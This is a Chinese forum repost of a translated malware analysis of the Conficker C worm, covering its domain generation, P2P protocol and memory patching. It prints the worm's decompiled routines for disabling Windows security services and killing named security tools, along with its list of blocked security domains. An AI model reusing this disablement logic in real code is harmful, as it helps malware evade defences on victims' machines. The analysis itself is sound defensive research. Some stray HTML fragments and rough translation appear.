廣告廣告
  加入我的最愛 設為首頁 風格修改
首頁 首尾
 手機版   訂閱   地圖  簡體 
您是第 5265 個閱讀者
 
發表文章 發表投票 回覆文章
  可列印版   加為IE收藏   收藏主題   上一主題 | 下一主題   
upside 手機 葫蘆墩家族
個人頭像
個人文章 個人相簿 個人日記 個人地圖
特殊貢獻獎 社區建設獎 優秀管理員勳章
頭銜:反病毒 反詐騙 反虐犬   反病毒 反詐騙 反虐犬  
版主
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
推文 x0
[資訊教學] Conficker C 詳細資料
Conficker C 詳細資料
        圖片:
");   }}" src="圖片:
圖片:
作者:Phillip Porras, Hassen Saidi, and Vinod Yegneswaran
翻譯:Roxiel (轉載請注明原作者和譯者,有錯誤請EMAIL我 007_power@163.com

簡介
   這裏提供一個跟蹤中的關於 變種C的快照, 稱爲Conficker C.  Conficker 工作小組成員報告 Conficker B的蜜罐係統中, 它們出現一個新的DLL更新. 盡管互聯網上對於此感染的跟蹤還不能實現, 我們懷疑此 DLL會通過 Conficker的互聯網交會點機制有傳播 ( 全球網絡影響 ) (Global Network Impact).  被發現在早上的星期五,2009年3月6日(PST), 隨後其它工作組成員也報告在同一天偵測到這個DLL的重複感染.  基於這一點,成員們報告以前被感染的機器是通過HTTP互聯網交會點機制進行升級. 我們相信爆發變種C的爆發第一次會在2009年4月3日(4月5日UTC). 

變種 C的影響
    變種 C 代表著Conficker家族的第三個主要變化, 最初版本出現在2008年十一月20日.  C區分於早先的 Conficker B. 事實上, 我們估計C與B的基本代碼有 14.9% 相似, 如附錄 3所示. 而最近報告的變種B + +表示B的 衍生物 , C 集成了B 的線程體係結構和程序邏輯, 包括主要功能的增加,如一個新的點對點(P2P) 協調頻道, 和一個修改的域生成算法 (DGA). 很明顯 Conficker 的作者在消除以前對Conficker 的跟蹤和治理.Conficker C現在對策阻止這些最近更新的防禦措施。

    例如,已知的互聯網交彙邏輯可能會蒸發,阻止最近所有A 和B相關聯的域注冊.  C 現在每一天從超過 50,000 隨機生成域中選擇約定交彙點.  C從A的 5個頂級域名(TLD),B的8個,達到了110個,現在必須努力跟蹤和阻止C 潛在的 DNS 查詢. 隨著最近域空間操做的升級, C對於那些希望跟蹤調查它的組織和個人不只是一個重大挑戰, 更突顯了在如何進行長期的網絡地址和域名空間治理方面的一些弱點.

 Conficker的一個有趣和微觀方面探討是關於其早期采用的二進制的複雜加密,數字簽名和用來防止感染機器進行第三方劫持的高級哈希算法。核心上,Conficker的主要目的是爲它的作者提供一個安全的二進制更新服務,用來使他們有效地即時控制全球數以百萬計的個人電腦。通過使用這些二進制加密的方法,Conficker的作者們能確保其它組織不能將任意二進制文件上載到他們受感染的機器,這些保護覆蓋所有 Conficker 更新服務:互聯網交會點緩沖區溢出的下載 re-exploitation 和最新的 P2P 控制協議。
  在評估這種機制中,,我們發現 Conficker 作者制訂了一種是比一般直接攻擊強大的先進的加密協議。 Conficker作者的所有三個加密係統 (RC4、 RSA 和MD-6) 也有一個基本共性。它們都是由麻省理工學院 的Dr. Ron Rivest制作。 此外,特別是MD-6 的使用是個非同尋常的選擇,因爲它代表最新的加密哈希
算法産生的日期。 事實上,Conficker B 中 的MD-6是爲 了Conficker 自己開發極不尋常的TIME LINE。
    A 在2008年十月爆發,在大致相同的時間,Dr. Rivest公開發布了MD-6,雖然A使用了SHA-1,但我們現在 2008 年12 月晚間 證實MD-6 集成到 Conficker B(即,Conficker作者在字面上的哈希被公諸於衆幾個星期後將MD-6納入散列算法 )。
    對於Conficker作者,遺憾的是在1月中旬Dr. Ron Rivest的研究小組提交了一份修訂版的MD - 6算法,因爲在其實現中發現了緩沖區溢出,這一修訂是悄悄進行地,隨後更明顯地公布的緩沖區溢出是在2009年2月19日。包括了一份強化報告(http://blog.fortify.com/repo/...3-Report.pdf)。現在 我們已確認此緩沖區溢出在Conficker B中實現,然而,我們也確認這不是作爲一種用來控制Conficker主機的溢出利用手段。但是,Conficker開發者顯然知道這些事態的發展,因爲他們現在已經修複他們的Conficker C中的MD - 6,同樣使用Dr.Rivest's的小組發布的修訂。顯然,作者了解,擅長理解和融會了最新的加密進展,並積極關注的該領域的最新發展。
    Conficker變種B和C以及其它最近新出現的惡意軟件家族的一個主要特征,是能夠終止,禁用,重新配置,或在本地操作係統( OS )和第三方安全服務中留下後門。
    我們提供了一個Conficker禁用的安全産品的邏輯(Security Product Disablement logic)的深入的分析,來幫助說明了現代的惡意軟件對於安全産品以及微軟的反惡意軟件的努力的全面挑戰。

    Conficker很好地說明了安全廠商在積極應對挑戰,不僅僅是尋找惡意邏輯,而是要捍衛自己的可用性,完整性,網絡爲他們持續提供重要的流動惡意軟件威脅的最新情報。

   或許ConfickerC的可怕方面,是它有其可以確定的潛在危害,在漫長的惡意軟件流行曆史上,只有極少數可以持續滲透感染全球數以百萬計的無人駕駛飛機,在最好的情況下,Conficker 也可以作爲大規模的互聯網詐騙和盜竊持續盈利的平台.在最壞的情況下,可以在協調統一的信息戰攻擊中,成爲一個不僅會破壞國家甚至能破壞互聯網本身的強大的進攻性武器。
    最終我們必須承認顯示在Conficker的不斷發展的設計和實施中的多種技能組合。此次暴發建立在對於互聯網範圍的編程技術,先進的加密技術,自定義雙層代碼包裝和代碼混淆技術,以及對於Windows內部
與安全産品深入了解的基礎上。它們率先推出了互聯網會合點計劃,現在已經集成了先進的P2P協議,這並不需要嵌入式的PeerList。它們不斷在互聯網中撒下具有新MD5的變種的種子,並適應他們的代碼庫,以解決最新的阻撓Conficker的企圖,他們滲透到世界各地的政府的網站,5網絡,家用電腦,重大基礎設施,小網絡,和大學。或許比他們至今所做的出更大的威脅,就是他們的經驗和他們將建立的未來。
Conficker C 概述
圖 1 說明了 Conficker C 的程序結構和邏輯

1
 
1.    在初始化DLL時,它履行的安裝邏輯與A和B類似,具有擴展參數 EX:rundll23 *.dll 擴展參數
2.    它檢查三個互斥體(mutex),避免在目標主機上進行重複感染。
如果互斥體不存在, 將建立下面形式的3個:
          1) "Global\<string>-7"; 
          2) "Global\<string>-99;
          3) 互斥體命名建立在僞隨機生成的進程ID 的基礎上
**前兩個互斥的<string>是在每台計算機名上獨一無二的,這是計算基於計算機名稱的crc32散列和XOR的同一個常數。
3.    然後C爲DLL安裝一些內存補丁,並嵌入了其它機制以阻止安全軟件發現它的存在。
4.    修改主機域名服務( DNS )的應用程序接口(patch dnsapi.dll)來阻止各種安全相關的網絡
連接(Domain Lookup Prevention域名查詢預防),並安裝一個僞補丁修複445/TCP的漏洞,同時維護一個後門的可再感染特性(Local Host PatchLogic本地主機修補程序邏輯).這個僞補丁保護主機排除由Conficker作者或其它感染的Peers以外的來源的緩沖區溢出。
5.    C像ConfickerB一樣,采用邏輯保衛自己安全的産品,否則試圖偵測並移除它。C啓動一個禁用安全産品線程,這個線程禁用主機的關鍵安全服務,如WindowsDefender的,以及Windows服務,因爲它提供安全補丁和更新。這些改變有效地防止受害主機接收自動軟件更新。線程還禁用安全更新的通知,並停用safeboot模式。
6.    以上是第一個線程,隨後會産生一個新的終止安全軟件進程的線程,監控並關閉與列入黑名單(23個安全産品,補丁和安全性的診斷工具)的名字相匹配進程
7.    Conficker C安裝複制自己到用戶的文件係統,配置注冊表以實現開機自啓動,它還插入各種無關的隨後閑置的注冊表項,大概是爲了掩蓋其存在(混淆C的安裝主體文件和其存在的具體位置)。
8.    它會將自己以一個隨機命名的DLL複制到位於System32目錄, Program Files目錄,或用戶的臨時文件夾中。
9.    它會刪除所有感染之前的還原點,使安全的還原失效。
10. 然後簡單的驗證其DLL的大小,驗證失敗則自殺。
11. 它調整自己的文件日期爲本地的Kernel32.dll文件的日期
12. 設置其文件映像的 NTFS 文件權限,以防止寫入和刪除權限。
13. 一旦安裝完成,該DLL爲netsvcs.exe或Svchost.exe創建遠程線程,這取決於操作係統(OS)版本。
ConfickerC的核心內容是兩個線程:一個P2P通信線程,一個domain generation(域名生成)和Internet rendezvouspoint(互聯網會合點)線程第一線包含在代碼段,進行了另外一層代碼混淆,作者本用來妨礙分析但是也提供了一個明顯的點用來深入檢查
我們從對等網邏輯上描述P2P協議,P2P協議包括通過TCP和UDP協調Peers的能力,以及下載和運行Win32二進制文件(digitally signed)的能力。
與P2P線程合並的是一個anti-tracing logic(反跟蹤邏輯),用來在調試器運行Conficker C 時,殺死ConfickerC 進程.此邏輯是爲了阻止逆向分析 Conficker C還包括檢查HTTP日期的功能,將在對等網邏輯(Peer to PeerLogic)中討論。
最後,C預示了DGA和查詢程序的重大改變,將在域生成算法中討論.在DGA將在2009年4月1日啓動,4月1日之前,它會進入一個休眠24小時的循環,然後通過getlocaltime反複檢查日期。進入4月1日的日期檢查之前, C將在一個30至90分鍾初始隨機區間內睡眠。
更具體地說,如果是在本地時間上午7點至11點之內,睡眠30至90分鍾。.如果是在本地時間上午8點到11時之間,睡眠間隔將調整到2.5-3.5小時。
然後,將檢查網絡連接 ,如果已連接將進入域名生成邏輯(domain generation logic)。下一節詳細描述了這種邏輯。
域名生成算法 Domain Generation Algorithm
在這些潛在的動機變化可能代表了Conficker近期的陰謀,因爲它已經禁止了以後的日子裏對於Conficker A和B域名的定位,關鍵的變化是ConfickerC增加了每天産生的域名,潛力的從250至50000的互聯網會合點。這50000個域名,只有500個進行了查詢,與以前的版本不同,每天只有一次查詢。此外,C提供更多對於DNS産生的IP地址的過濾
下面的條件下,IP地址將被拒絕:
1)如果相關查詢返回不只一個結果
2)它是127.0.0.1 或其它瑣碎的地址
3)它的地址匹配的內部黑名單
4)一個DNS查詢返回和原先的相同的IP ,(如果一個組織注冊和解析多個Conficker C域名,綁定多個被C感染的IP,感染的計算機將只接受一次解析)
    如果沒有域名存在或提供返回, C將睡眠24小時,然後將生成一個新的包含50000域名的名單。該算法産生的域名是一套獨立於Conficker A和B的,重疊僅在罕見的巧合發生。
    每個産生的域名有4至10個字符,其中隨機選出的頂級域名是附加以下的列表包含116個後綴得到的(映射到110個頂級域名) :
["ac" , "ae" , "ag" , "am" , "as" , "at" , "be" , "bo" , "bz" , "ca" ,"cd" , "ch" , "cl" , "cn" , "co.cr" , "co.id" , "co.il" , "co.ke" ,"co.kr" , "co.nz" , "co.ug" , "co.uk" , "co.vi" , "co.za" , "com.ag" ,"com.ai" , "com.ar" , "com.bo" , "com.br" , "com.bs" , "com.co" ,"com.do" , "com.fj" , "com.gh" , "com.gl" , "com.gt" , "com.hn" ,"com.jm" , "com.ki" , "com.lc" , "com.mt" , "com.mx" , "com.ng" ,"com.ni" , "com.pa" , "com.pe" , "com.pr" , "com.pt" , "com.py" ,"com.sv" , "com.tr" , "com.tt" , "com.tw" , "com.ua" , "com.uy" ,"com.ve" , "cx" , "cz" , "dj" , "dk" , "dm" , "ec" , "es" , "fm" , "fr", "gd" , "gr" , "gs" , "gy" , "hk" , "hn" , "ht" , "hu" , "ie" , "im" ,"in" , "ir" , "is" , "kn" , "kz" , "la" , "lc" , "li" , "lu" , "lv" ,"ly" , "md" , "me" , "mn" , "ms" , "mu" , "mw" , "my" , "nf" , "nl" ,"no" , "pe" , "pk" , "pl" , "ps" , "ro" , "ru" , "sc" , "sg" , "sh" ,"sk" , "su" , "tc" , "tj" , "tl" , "tn" , "to" , "tw" , "us" , "vc" ,"vn" ]
爲了解析一係列域名的IP地址,C使用標準的Windows API gethostbyname。
如果查詢域名返回一個IP地址,通過C的過濾測試,它會嘗試聯係IP地址的端口80/TCP ,這裏它使用一個單獨的 CALLHttpQueryInfo (例如,一個空的HTTPGET請求)如果它成功連接到一個真正的Conficker交會點,服務器將立即發送Win32可執行程序(digitally signedWin32 executable)給客戶端執行。這種變異並不産生已經衆所周知Conficker的搜索URL字符串(帶有 q= or aq=),相反,空的HTTP請求可能給IDS(入侵檢測係統)和證明 network forensicsignatures(網絡法醫簽名)帶來了更多困難。
變種C通過每隔24小時進行一次的域名查詢完成一個周期,而A是每3小時查詢一次域名列表, B 是2小時一個周期.在域名生成算法的運行測試中,受感染的客戶端可能需要超過4小時才能完成全部500個每日域名查詢。
A/B/B++與變種C之間的另一個顯著區別是,新變種C采用的下載會話間隔是300秒,如果下載所需時間超過300秒,會話會被結束,C還有一個關於文件尺寸的限制 512kbs,如果下載的尺寸在完成之前下載完,例程退出。即使二進制下載提前停止,數字簽字仍然檢查。
當C成功下載一個有效的Win32可執行程序,域生成算法的主線程休眠4天,然後恢複域名生成以及與域名的聯係。一旦文件被下載,變種C開始驗證二進制的數字簽名,通過ShellExecute執行啓動這個可執行文件。(參見Binary Download and Validation)
點對點邏輯 Peer-to-Peer Logic
ConfickerC又展示了一個協調受感染的主機的機制.這種新的協調戰略采用了P2P協議,而Conficker的作者已經采取了一些謹慎措施,通過代碼混淆阻止對其分析。他們還模糊了實現P2P的二進制下載驗證,檢查的HTTP日期,反調試部分,以及其他的邏輯。
特別是在P2P的部分,作者試圖阻礙Windows API調用的確認,並使用其他代碼混淆阻礙分析。附錄5的API Recovery Table,包括模糊的API代碼偏移。
集成在更廣泛的P2P程序邏輯中的是其他一些模糊代碼段,舉例來說,這些代碼段致力於在Conficker感染的主機上建立HTTP服務器通信,Peer掃描邏輯,客戶端和服務器端共享的文件共享邏輯
P2P 安裝邏輯 P2P Setup Logic
在進入P2P主線程之前,Conficker C動態計算的內存中的導入表,包括模糊的API的清單。C下一步設置各種注冊表項,並創建一個專門使用的P2P服務工作目錄。然後使用標準的Microsoft CryptoLibrary來生成隨機數字,這些步驟就是實際的P2P邏輯安裝過程。
C在Windows (操作係統而定)標準的默認臨時文件目錄下創建一個目錄
名稱爲:C:\...\Temp\{%08X-%04X-%04X-%04X-%08X%04X}
這個目錄是C用來存儲P2P服務下載的有效文件,也作爲存儲其他信息空間。
Conficker C還會創建一個對關於自身的注冊表項:
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\{%08X-%04X-%04X-%04X-%08X%04X}
被感染的節點能像一台服務器一樣進行活動,在這個模式下,它將與ConfickerP2P網絡互動,將文件分發到其他的P2P客戶端。進入這個模式前它必須確認在它的P2P臨時目錄中有一份本地存儲的2進制文件,而且文件必須經過作者的數字簽名不變(即需要正確的散列和簽名)
Internet 日期檢驗 Internet Date Check
繼續進行主要P2P 邏輯之前,C中包含了一套嵌入式域名,它從這個列表其中的一個子集的多個條目聯係Web 站點獲取當前日期和時間,它對該子集執行DNS查詢,也利用黑名單過濾返回的IP地址,如果IP不匹配黑名單,C連接到網站的端口80/TCP ,並發出了一個空的URL的GET頭,

例如:
contents.192.168.1.1.40.1143-195.81.196.224.80
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: en-US
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.0)
Host: tuenti.com
Connection: Keep-Alive
對此,該網站返回一個標準的URL頭,包含了日期和時間戳記,C隨後解析此信息來確定其內部係統時間。
下列網站用於C征詢日期檢查:

baidu.com, bbc.co.uk, blogfa.com, clicksor.com,comcast.net, cricinfo.com, disney.go.com,

ebay.co.uk, facebook.com, fastclick.com, friendster.com, imdb.com, megaporn.com,

megaupload.com, miniclip.com, mininova.org, ning.com, photobucket.com, rapidshare.com,

reference.com, seznam.cz, soso.com, studiverzeichnis.com, tianya.cn, torrentz.com,
tribalfusion.com, tube8.com, tuenti.com, typepad.com, ucoz.ru, veoh.com, vkontakte.ru,
wikimedia.org, wordpress.com, xnxx.com, yahoo.com, youtube.com]
尋找 Peers Searching for Peers
Conficker C的端點可以同時采取行動,由P2P的客戶端和服務器的存在。爲了有效啓動這種聯動,
C打開了2個 UDP服務端口和2個TCP服務端口(監聽),可能額外的1個或2個UDP 客戶端端口也在使用中,文件的傳輸可以是雙向的,即客戶端可以推送文件以及服務器可以接收文件
Conficker C 的P2P邏輯是,通過一套線程來支持Peers掃描和文件接受,主體包含一套7個線程用來協調Conficker的P2P通信,如圖3
Figure 3: P2P main thread overview

"600") {     this.height = "600";   }}"");   }}" src="" />
P2P主線程起先啓動5個線程,第一個線程通過call InternetTimeToSystemTime 連接熱門門戶網站來設置係統時間。
    另外兩個線程偵聽TCP端口,作爲一種給其它感染體發送文件的機制,如果一個合法的Conficker C Peer請求文件,則由一個獨立的線程反饋該請求,最後另外兩個線程協調UDP出站掃描 Conficker Peers。
  一旦這個線程開始,C爲任何一個傳入的連接進入等待模式,在應答一個TCP連接請求時,它啓動一個線程來推送文件,簽名檢查和文件驗證也在一個獨立的線程中處理,兩項驗證完畢後,C啓動一個特別的線程,使用UDP宣告“這是一個Conficker節點,有一個數字簽名過的文件”
在掃描時,C避免某些範圍的 IP ( including certain assigned /8 netblocks)
/8s不掃描的P2P協議爲0, 1, 2, 5, 10, 14, 23, 27, 31, 36, 37, 39, 42, 46, 49, 50,100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 127, 175, 176, 177,178, 179, 180, 181, 182, 183, 184, 185, 191, 197, 以及 223 - 255.

  一個傳入的連接檢查要先驗證源IP地址的是否匹配,與域名生成算法的IP驗證類似,包括確保一個IP地址不屬於黑名單的範圍,這些檢查都在每次UDP掃描線程生成一個隨機peer時進行,在請求文件但是未傳送時也進行類似的檢查。   有一個獨特的由IP地址到每個主機的兩個TCP和UDP監聽端口的映射,這使得C變種不需要一個超級節點或者一個Peer列表(即C無需嵌入式hitlist找到Peers),這由Storm Worm首先昭示[4],它能簡單地找到互聯網上可能監聽的Peers,這個掃描引導爲Conficker的P2P網絡。然而它還是有可能是一種嵌入式seedlist,不排除其它方法
TCP/UDP P2P 協議 TCP/UDP P2P Protocol
我們理解和重建P2P協議的內部工作機制的努力仍在進行,目前,我們已經發現了P2P行爲幾個有趣的方面,基於感染主機的TCP/UDP通信,對於基於TCP的通信,我們已經確定某些部分的TCP有效載荷(TCP payload)特別是前兩個字節似乎形成了一個頭。它們對應於TCP payload- 2 的長度(頭的大小)
UDP數據通信的數據大小是個變量,在圖4(下圖)我們規劃了UDP PING packet的數據大小的分配,它看起來遵循冪律分布(power-lawdistribution),最低值爲20字節。少數的C還産生4字節的數據包。UDP連接的活動似乎是一個到TCP活動的前提。(即,安裝)。這可能有幾個理由,如UDP數據通道協商,TCP數據交換之前的密鑰交換。


Figure 4: Datagram size distribution for UDP PING packets


"600") {     this.height = "600";   }}"");   }}" src="" />



顯示有一個顯著下降的TCP/445掃描活動和增長的變種C的掃描活動
根據我們的測量
第一波Conficker C升級始於太平洋標準時間2009年3月4日下午6時(格林尼治標準時間2時在2009年3月5日) 。
正如上8圖,我們可以看到這第一批升級影響大約20 %的Conficker主機,這些
升級發生在大約2009年3月5日UTC ,變種B的主機在這一天訪問自己的一套新的會合點
Conficker作者看起來已建立了一個提供C宿主應用程序的服務器,圖8還表明,第二次50%變種B的升級將發生在2009年3月17號左右

UDP數據包的某些字節序列似乎可以預見,例如,一個字節20的熵計算( UDP連接)圖5
Figure 5: P2P byte sequence distribution for UDP PING packets

"600") {     this.height = "600";   }}"");   }}" src="" />
圖中的值比其它在UDP PING packets中的值更普遍,高頻值包括
0, 1, 4 (100), 5 (101), 16(10000), 17(10001), 20(10100), 21(10101), 64(100000), 65(100001),
68(100100), 69(100101), 80(101000) and 81(101001)該圖表明位0,2,5和6是很重要的。
P2P 文件下載邏輯P2P File Download Logic
在其核心功能中,P2P提供給Conficker覆蓋網絡一個安全以Peer安全爲基礎的文件共享服務。
正如以前所討論,感染無人駕駛飛機的C可作爲P2P網絡的客戶機和服務器。在的TCP服務線程偵測到它的本地臨時存儲目錄保存有經過數字驗證的文件時,無人機可能變爲一個服務器,一個單獨的嵌入式P2P的公共密鑰是用來進行這一驗證。在一個有效的數字簽名的文件已經擁有的情況下,該無人駕駛飛機可分發這個文件給其它Peers。
目前看來,TCP通道是進行文件共享首選連接。客戶端下載的文件是經過數字簽名驗證的,一旦驗證通過就保存在本地臨時目錄裏,以後用來給服務線程分發給其它Peers,通過修改注冊表項,使下載內容自動執行。
本地主機修補邏輯 Local Host Patch Logic
作爲其初始化過程的一部分,所有Conficker變種會在內存中改變某些標準的Windows API。
簡言之,所有版本的Conficker (A/B/B++/C)修補
netapi32.dll中的NetpwPatchCanonicalize    dnsapi.dll中的DnsQuery    dnsrslvr.dll中的SendTo
ntdll.dll中的NtQueryInformationProcess(用於線程混淆)
保護主機避免由其它利用 MS08 - 067的惡意軟件再次溢出,同時仍然允許被其他Conficker主機再次感染,原理見 Extensions to Conficker's netapi32.dll Patch
DnsQuery補丁允許Conficker限制主機連接到可能下載補丁和工具來移除本蠕蟲的安全公司(和研究員的網站) 見Domain Lookup Prevention章節
NetpwPathCanonicalize 在B++中被修補,用來提供一個簽名的二進制文件的URL,在變種C中,爲了P2P機制這個修補被放棄了,C中使用的修補與B中使用的修補非常相似。
變種C的內存修補API列表中新加入了InternetGetConnectedState. 該修補程序包括確保IternetGetConnectedState的修補是由Conficker代碼或一個已經被調用進程加載的模塊,如果不是這種情況,主線程退出。

安全産品的禁用 Security Product Disablement
Conficker C整合了各種戰略,來捍衛它在受害者機器的存在,爲了要做到這一點, 變種C用了很多措施以掩蓋其存在,關閉或禁用安全産品,或者檢測它自身的存在。C對安全産品的攻擊在其互斥檢查(檢測新重複感染)之後馬上開始。
在每一個進程初始化時,它執行一個對於主機的DNS解析服務的內存修補,防止查找各種安全産品(和研究)的網站的域名,然後C會産生一個獨立的線程來挂起和禁用安全和更新服務,之後進入一個無限循環。因此它不斷地搜尋並終止活動的安全産品和補丁,這個步驟在每次C被調用的時候完成
在首次執行時,它安裝自身並在感染主機上混淆它的存在,這些步驟能夠使它避免被簡單的檢測和細心的用戶清除
它會刪除所有感染之前的還原點,使利用還原清除這一方法失效,並設置NTFS文件權限,防止寫入和刪除,大部分策略也在之前的版本中使用過,但在這裏我們找到了一些擴展和更新。它還包括了禁用Windows的防火牆保護某些高階UDP和TCP端口的邏輯。這些對於防火牆的調整不在初始化時完成,而是在C進入了網絡通信的邏輯後完成。
域名查詢預防 Domain Lookup Prevention
在每一次進程初始化時,Conficker C采用一個針對dnsapi.dll (Windows XP, 2K)或者針對dnsrslvr.dll(Vista)的內存補丁 ,它沒對DLL的文件進行修補,而是只修補它們在內存中的實例。這些DLL包含關於域名解析和緩存的標準WindowsAPI
Conficker修改Windows的DNS查詢和緩存服務,用來阻止與各種安全産品供應商和研究網站的通信。
下面的表1是被阻止的域名查詢列表(使用空格分隔)
Table 1: Patched blocked domains list
vet. freeav rising unlocker
sans. free-av removal tcpview
nai. fortinet quickheal sysclean
msft. f-secure ptsecurity scct_
msdn. f-prot prevx regmon
llnwd. ewido pctools procmon
llnw. etrust panda procexp
kav. eset onecare ms08-06
gmer. esafe norton mrtstub
cert. emsisoft norman mrt.
ca. dslreports nod32 mbsa.
bit9. drweb networkassociates klwk
avp. defender mtc.sri kido
avg. cyber-ta msmvps kb958
windowsupdate cpsecure msftncsi kb890
wilderssecurity conficker mirage hotfix
virus computerassociates microsoft gmer
virscan comodo mcafee filemon
trojan clamav malware downad
trendmicro centralcommand kaspersky confick
threatexpert ccollomb k7computing avenger
threat castlecops jotti autoruns
technet bothunter ikarus safety.live
symantec avira hauri rootkit
sunbelt avgate hacksoft securecomputing
spyware avast hackerwatch ahnlab
spamhaus arcabit grisoft wireshark
sophos antivir gdata 
secureworks anti- agnitum
當域名查詢匹配上面的任一字符串時,IP不會成功返回並且主機不會成功連接目標域名,在Vista上,匹配的域名由一個隨機垃圾字符串取而代之的,查詢則使用這個字符串從而不會成功返回,在Windows XP及更早的OS上,查詢僅僅是超時,或連接被挂起
Windows 安全服務的禁止Windows Security Service Disablement
每次當它啓動時,Conficker C啓動一個線程來禁止安全服務,關閉清除它的軟件,此線程負責禁用提供安全補丁和軟件升級的Windows服務,有效地防止受害人主機接收自動軟件更新。
例如,除了禁用Windows Defender和Windows錯誤報告服務,還禁用BITS (Background IntelligentTransfer Service). BITS用來使用的Windows Update服務和其他軟件的updaters。
圖6提供了一個僞代碼來描述安全服務的禁用
主程序功能爲disable_security_services_and_terminate_conficker_cleaners ( )
它禁用的服務
Windows Security Center Service (wscsvc), Windows Defender Service (WinDefend),
Windows Automatic Update Service (wuauserv), BITS (Background Intelligent Transfer Service),
Windows Error Reporting Service (ERSvc), 以及Windows Error Reporting Service (WerSvc).
它進一步刪除Windows Defender的注冊運行項,停用安全中心通知( FD6905CE - 952F - 41F1 - 9A6F -135D9C6622CC ),刪除安全模式相關注冊表項,啓動monitor_and_terminate_conficker_cleaners線程(在上面的禁用安全産品處的代碼)
首先C以完全控制權限 打開security manager,然後通過一套常駐服務循環,無視所有返回爲內核設備報告的服務。如果找到匹配的設備名稱,先關閉服務然後等待4秒,設定服務配置永久禁用該服務。
Figure 6: Security service and process disablement logic
BOOL disable_security_services_and_terminate_conficker_cleaners()
{
HANDLE v;
void *ThreadId;
ThreadId = this;
disable_security_service("wscsvc");
disable_security_service("WinDefend");
disable_security_service("wuauserv");
disable_security_service("BITS");
disable_security_service("ERSvc");
disable_security_service("WerSvc");
SHDeleteValueA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion
      \\Run", "Windows Defender");
callSHDeleteKeyW(
      HKEY_LOCAL_MACHINE,
      "Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\ShellServiceObjects\\
      {FD6905CE-952F-41F1-9A6F-135D9C6622CC}");
callSHDeleteKeyW(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SafeBoot");
v = CreateThread(0, 0, monitor_and_terminate_conficker_cleaners, 0, 0, (DWORD *)
      &ThreadId);
return CloseHandle(v);
}
int disable_security_service(LPCSTR lpServiceName)
{
void *hSCObject;
char ServiceStatus;
int v;
result = 0;
hSCObject = OpenSCManagerA(0, 0, SC_MANAGER_ALL_ACCESS);
// open service manager with all access granted
if ( hSCObject )
    {
      v = OpenServiceA(hSCObject, lpServiceName, 0x20027u);
          // open the specified service
      if ( v )
        {
          if ( QueryServiceStatus(v, (struct _SERVICE_STATUS *)&ServiceStatus) )
              // query the service status
            {
              if ( ServiceType != SERVICE_KERNEL_DRIVER )
                  // check if the service is not a device driver
                {
                  success = ControlService(v, 1u, (struct _SERVICE_STATUS *)
                  &ServiceStatus); // notifies the service that it should stop
                  if ( success )
                    Sleep(4000); // sleep 4 seconds
                }
            }
          result |= ChangeServiceConfigA(v, 0xFFFFFFFFu, 4u, 0xFFFFFFFFu,
                                        0, 0, 0, 0, 0, 0, 0);
          // set the service configuration so that the service is never started
          CloseServiceHandle(v);
        }
      CloseServiceHandle(hSCObject);
    }
return result;
}
禁止安全産品的線程Security Product Terminator Thread
上一個章節討論disable_security_services_and_terminate_conficker_cleaners() 函數時,談到它啓動一個獨立線程來終止活動的安全進程
下面就是 monitor_and_terminate_conficker_cleaners(),無限從安全進程黑名單進行查找
Figure 7: Security process termination logic
void __stdcall monitor_and_terminate_conficker_cleaners()
{
while ( 1 )
    {
      terminate_conficker_cleaners();
      // terminate processes that are in the list of conficker cleaners
      Sleep(1000); // sleep 1 second
    }
}
int terminate_conficker_detectors()
{
int result;
int n;
char Str;
int v;
DWORD ProcessId;
result = CreateToolhelp32Snapshot(2u, 0); // open the list of processes
if ( result != -1 )
    {
      v = Process32First((HANDLE)result, (PROCESSENTRY32 *)&pe);
      while ( v )
        {
          strlwr(&Str);
          n = 0;
          while ( n < 23 ) // check 23 names of conficker cleaners
            {
              if ( strstr(&Str, (&array_conficker_cleaners_utilities)[4 * n]) )
                // check if the process name has a substring in the array of
                // conficker cleaners utilities
                terminate_process(ProcessId);
                // terminate the process
              n++;
            }
          v = Process32Next(v, (PROCESSENTRY32 *)&pe);
        }
      result = CloseHandle(v);
    }
return result;
}
下列23個進程在C的過程監控線程發現受害人的主機上運行時立即結束:
autoruns    - malware removal tool
avenger    - antivirus / firewall
confick    - cleanup utilities
downad      - cleanup utilities
filemon    - security utility)
gmer        - rootkit detector and remover (gmer.net)
hotfix      - security patch or removal tools
kb890      - Microsoft patch
kb958      - Microsoft patch
kido        - security patch or removal tools
klwk        - Karspersky malware removal tool
mbsa.      - Microsoft Baseline Security Analyser
mrt        - Microsoft malware removal tool
mrtstub    - Microsoft malware removal tool
ms08-06    - Microsoft patch
procexp    - process explorer
procmon    - process monitor
regmon      - registry monitor
scct_      - unknown
sysclean    - Trend Micro malware removal tool
tcpview    - network packet analysis tool
unlocker    - file unlocking utility
wireshark  - network packet analysis tool
混淆C的安裝以及它的存在Obfuscating C's Installation and Its Presence
    像A和B一樣,變種C在受害者主機上(引導bootstrapping)DLL時開始混淆它的存在。初始化之前,該DLL 在創建一個受保護的內存段,然後將這一部分爲netsvcs或Explorer進程創建遠程線程,這取決於操作係統。
   它設置SVC 的顯示名稱(displayname)爲空,不從loadlib初始化函數返回,有效阻止列表內的Windows公共服務,一旦這個進程被激活,它開始儲存它的隨機生成文件名的DLL(包括參數),調整DLL的日期爲 kernel32.dll的日期。
文件使用下面的目錄選擇邏輯進行存儲:
1)System32 目錄
2)Program Files 子目錄如下
\\Movie Maker, \\Internet Explorer, \\Windows Media Player, \\Windows NT
3)用戶臨時文件夾
變種C還修改注冊表來保證它的DLL在下次啓動時被調用,爲了掩飾其注冊表項的設置
變種C隨機選擇,並修改一些注冊表項,以混淆它向svchosts或netsvcs注冊表修改的部分
下面的字符串被添加到注冊表中,以模糊的注冊表的Svchost下配置的更改:
App, Audio, DM, ER, Event, help, Ias, Ir, Lanman, Net, Ntms, Ras,
Remote, Sec, SR, Tapi, Trk, W32, win, Wmdm, Wmi, wsc, wuau, xml, access, agent, auto, logon,
man, mgmt, mon, prov, serv, Server, Service, Srv, srv, Svc, svc, System, Time.
